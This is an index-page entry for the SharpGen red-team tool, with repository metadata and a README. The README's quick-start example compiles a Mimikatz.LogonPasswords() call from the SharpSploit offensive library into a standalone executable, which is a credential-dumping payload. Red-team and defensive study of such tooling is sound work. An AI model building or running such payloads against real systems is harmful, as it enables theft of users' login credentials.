Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/cobbr/SharpGen
SharpGen is a .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile .NET Framework console applications or libraries.
https://github.com/cobbr/SharpGen
Last synced: 3 months ago
JSON representation
SharpGen is a .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile .NET Framework console applications or libraries.
- Host: GitHub
- URL: https://github.com/cobbr/SharpGen
- Owner: cobbr
- License: bsd-3-clause
- Created: 2018-11-07T16:10:27.000Z (about 6 years ago)
- Default Branch: master
- Last Pushed: 2021-04-23T10:41:55.000Z (almost 4 years ago)
- Last Synced: 2024-11-15T10:36:56.060Z (3 months ago)
- Language: C#
- Homepage: https://cobbr.io/SharpGen.html
- Size: 9.26 MB
- Stars: 290
- Watchers: 18
- Forks: 58
- Open Issues: 6
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# SharpGen
[SharpGen](https://github.com/cobbr/SharpGen) is a .NET Core console application that utilizes the [Rosyln](https://github.com/dotnet/roslyn) C# compiler to quickly cross-compile .NET Framework console applications or libraries.
### Intro
You'll find details and motivations for the SharpGen project in this [introductory blog post](https://cobbr.io/SharpGen.html).
### Quick Start
The most basic usage of SharpGen would be to provide SharpGen an output filename and a C# one-liner that you’d like to execute. SharpGen will generate a .NET Framework console application that will execute the one-liner. For example:
```
cobbr@mac:~ > git clone https://github.com/cobbr/SharpGen
cobbr@mac:~ > cd SharpGen
cobbr@mac:~/SharpGen > dotnet build
cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"
[+] Compiling source:
using System;
using System.IO;
using System.Text;
using System.Linq;
using System.Security.Principal;
using System.Collections.Generic;
using SharpSploit.Credentials;
using SharpSploit.Enumeration;
using SharpSploit.Execution;
using SharpSploit.LateralMovement;
using SharpSploit.Generic;
using SharpSploit.Misc;public static class jZTyloQN2SU4
{
static void Main()
{
Console.WriteLine(Mimikatz.LogonPasswords());
return;
}
}
[+] Compiling optimized source:
using System;
using SharpSploit.Credentials;public static class jZTyloQN2SU4
{
static void Main()
{
Console.WriteLine(Mimikatz.LogonPasswords());
return;
}
}
[*] Compiled assembly written to: /Users/cobbr/SharpGen/Output/example.exe
```